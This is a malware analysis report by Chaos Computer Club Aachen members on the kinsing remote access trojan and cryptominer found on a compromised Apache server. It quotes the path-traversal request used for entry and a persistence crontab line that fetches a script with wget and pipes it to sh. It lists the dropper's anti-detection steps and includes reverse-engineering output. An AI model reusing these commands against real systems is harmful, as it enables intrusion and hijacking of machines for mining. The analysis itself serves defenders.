mine or die (image credit: Github @dalmarcogd)
Members of the Chaos Computer Club Aachen have taken a look at a 3rd-party server that has been compromised by kinsing, a Go-programmed Remote Access Trojan usually paired with cryptocurrency miners. The following report takes a look at the functionality of this malware.
Due to privacy and legal concerns, the details of the compromised server and other IP addresses have been redacted. Keep in mind, there are various versions of kinsing in the wild. We are specifically inspecting the version with the following checksum, which can be found in VirusTotal:
md5sum 648effa354b3cbaad87b45f48d59c616
sha256sum 6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b
Disclaimer: The Chaos Computer Club Aachen does not do reports or analysis on commission or request. This project was done in our own free time and just for fun. Please contact your local incident response or cybersecurity provider.
Entry Point
In this case, entry was granted via a vulnerable LAMP webserver (CVE-2021-41773 & CVE-2021-42013).
[<DATE REDACTED>] [core:error] [pid 3030013] [client <REDACTED IP AND PORT>] AH00126: Invalid URI in request POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0sh: 2: ulimit: error setting limit (Operation not permitted)
...
The downloaded script, ex.sh
, then proceeds to the following steps:
- alter the current user‘s
ulimit
, allowing free resource use - remove logfiles such as
/var/log/syslog
to prevent detection - change attributes of files such as
/var/spool/cron
,/etc/crontab
, etc - download
kinsing
(Command & Control, Remote Access Trojan) to either/tmp/
,/var/tmp/
or/dev/shm
(depending on the environment variable$TMPDIR
) and verify its hashes - kill various processes and competing resources, such as sshd, miners or docker containers
- disable SELinux and AppArmor as well as kernel watchdog
- create a persistent crontab to re-download and run the script:
* * * * * wget -q -O - http://<IP REDACTED>/ex.sh | sh > /dev/null 2>&1
kinsing is executed at this point.
For reference, a flowchart was created.
Reverse Engineering
Examining the file with select commands yields the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$ file ./kinsing
kinsing: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=DhskS7dCbYzdqxBh_mSk/76qVIoHRKN1NNcfL8ADh/W157t201-UbEisb9Xatk/hOMqvN1a69kKMwHq_e_v, stripped
$ objdump -x ./kinsing
Sections:
...
4 .gosymtab 00000000 0000000001027fd8 0000000001027fd8 00c27fd8 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .gopclntab 0017aca5 0000000001027fe0 0000000001027fe0 00c27fe0 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .go.buildinfo 00000020 00000000011a3000 00000000011a3000 00da3000 2**4
CONTENTS, ALLOC, LOAD, DATA
...
11 .note.go.buildid 00000064 0000000000400f9c 0000000000400f9c 00000f9c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
$ readelf -S ./kinsing
There are 14 section headers, starting at offset 0x1c8:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .text PROGBITS 0000000000401000 00001000
000000000031cc30 0000000000000000 AX 0 0 32
[ 2] .rodata PROGBITS 000000000071e000 0031e000
0000000000907761 0000000000000000 A 0 0 32
[ 3] .shstrtab STRTAB 0000000000000000 00c25780
00000000000000a5 0000000000000000 0 0 1
[ 4] .typelink PROGBITS 0000000001025840 00c25840
0000000000001de0 0000000000000000 A 0 0 32
[ 5] .itablink PROGBITS 0000000001027620 00c27620
00000000000009b8 0000000000000000 A 0 0 8
[ 6] .gosymtab PROGBITS 0000000001027fd8 00c27fd8
0000000000000000 0000000000000000 A 0 0 1
[ 7] .gopclntab PROGBITS 0000000001027fe0 00c27fe0
000000000017aca5 0000000000000000 A 0 0 32
[ 8] .go.buildinfo PROGBITS 00000000011a3000 00da3000
0000000000000020 0000000000000000 WA 0 0 16
[ 9] .noptrdata PROGBITS 00000000011a3020 00da3020
0000000000041938 0000000000000000 WA 0 0 32
[10] .data PROGBITS 00000000011e4960 00de4960
0000000000011b90 0000000000000000 WA 0 0 32
[11] .bss NOBITS 00000000011f6500 00df6500
0000000000032fb0 0000000000000000 WA 0 0 32
[12] .noptrbss NOBITS 00000000012294c0 00e294c0
0000000000003bc8 0000000000000000 WA 0 0 32
[13] .note.go.buildid NOTE 0000000000400f9c 00000f9c
0000000000000064 0000000000000000 A 0 0 4
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
$ objdump -s -j .go.buildinfo ./kinsing
./kinsing: file format elf64-x86-64
Contents of section .go.buildinfo:
11a3000 ff20476f 20627569 6c64696e 663a0800 . Go buildinf:..
11a3010 c0541e01 00000000 00551e01 00000000 .T.......U......
which shows this is a statically-linked Golang ELF executable. Reading the pointer on 0xc0541e01
(after converting Endianness), we can extract the Go version used to build the binary:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ objdump -s --start-address=0x011e54c0 --stop-address=0x011e54d0 ./kinsing
./kinsing: file format elf64-x86-64
Contents of section .data:
11e54c0 a36a7b00 00000000 08000000 00000000 .j{.............
$ objdump -s --start-address=0x007b6aa3 --stop-address=0x007b6aab ./kinsing
./kinsing: file format elf64-x86-64
Contents of section .rodata:
7b6aa3 67 6f312e31 352e34 go1.15.4
The binary was then analyzed with Ghidra and radare2. Default Ghidra is impractical for Golang as none of the function or symbol names are recovered. A Ghidra script is available to recover function names. Alternatively, radare2 seems to do that automatically, with the difference being the detection of entry point functions (e.g. go.main.main
for Ghidra, while radare links to go runtime‘s entry0
).
Select dependencies listed in the symbol table include:
- https://github.com/peterbourgon/diskv
- https://github.com/paulbellamy/ratecounter
- https://github.com/armon/go-socks5
- https://github.com/hashicorp/yamux
- https://github.com/markbates/pkger
- https://github.com/shirou/gopsutil
- https://github.com/op/go-logging
- https://github.com/nu7hatch/gouuid
One issue we had with decompiled view in Ghidra is a relatively empty function with multiple others of a similar name (*.func1
, etc). Disassembled, the function has the following structure and calls go.runtime.morestack
, which increases the stack in 2KiB increments:
Moving on, we observed some interesting string patterns. Aside from a few IP addresses, a script was found at 0x007ce25f
:
This shell script is written and executed by go.main.masscan
and downloads a binary with output name ‚firewire‘ and the given hash. This is possibly a bulk port scanner due to the fortunately similar name and the arguments in the shell script, but there are no available binaries online to review.
We also have health checker functions which check data integrity after a round-trip transfer between C&C and the compromised device, generated UUIDs per compromised device, and so on.
What was interesting is how the miner process was managed. There are several relevant functions:
go.main.minRun
go.main.getMinerPid
go.main.isMinerRunning
go.main.sendMinerPid
go.main.tryToRunMiner
with the following callgraph:
go.main.minRun
is in charge of unpacking the miner, saving to disk and running it. main.isMinerRunning
checks via gopsutil if the miner is running and returns its state, and tryToRunMiner
sets execute permissions and starts the it.
go.main.getMinerPid
and go.main.sendMinerPid
execute a REST GET or PUT request respectively, and call go.main.getActiveC2CURL
(get active ‚command & control‘ URL) which decodes/decrypts a base64-encoded and RC4 cipher-encrypted value. This likely contains the controller URL/IP.
kdevtmpfsi
is not covered in this article, since we did not have access to the binary. It is, however, a well-known cryptocurrency miner, primarily for Monero.
Various outputs are available under this link, for those who wish to dive deeper. Binaries and unpublished data may be made available to researchers upon request under the email addresses listed below.
Resources
- https://vblocalhost.com/uploads/2021/09/VB2021-04.pdf
- https://cujo.com/reverse-engineering-go-binaries-with-ghidra/
- https://blog.osiris.cyber.nyu.edu/2019/12/19/go-deepdive/
- https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html
- https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
- Unnamed contact/victim
Tools
- https://ghidra-sre.org/
- https://rada.re/n/radare2.html
- https://rada.re/n/iaito.html
- https://github.com/dhondta/bintropy
- https://github.com/ReFirmLabs/binwalk
- https://github.com/ruslashev/elfcat
- https://www.gnu.org/software/binutils/ (readelf)
- https://github.com/getCUJO/ThreatIntel/tree/master/Scripts/Ghidra
- https://pkg.go.dev/
Contacts
tanto - tanto [AT] aachen.ccc.de - PGP: 1BC7 324D F21A 207E 58D6 8ED2 1667 8E7E 4A35 1ACE
harryr - harryr [AT] aachen.ccc.de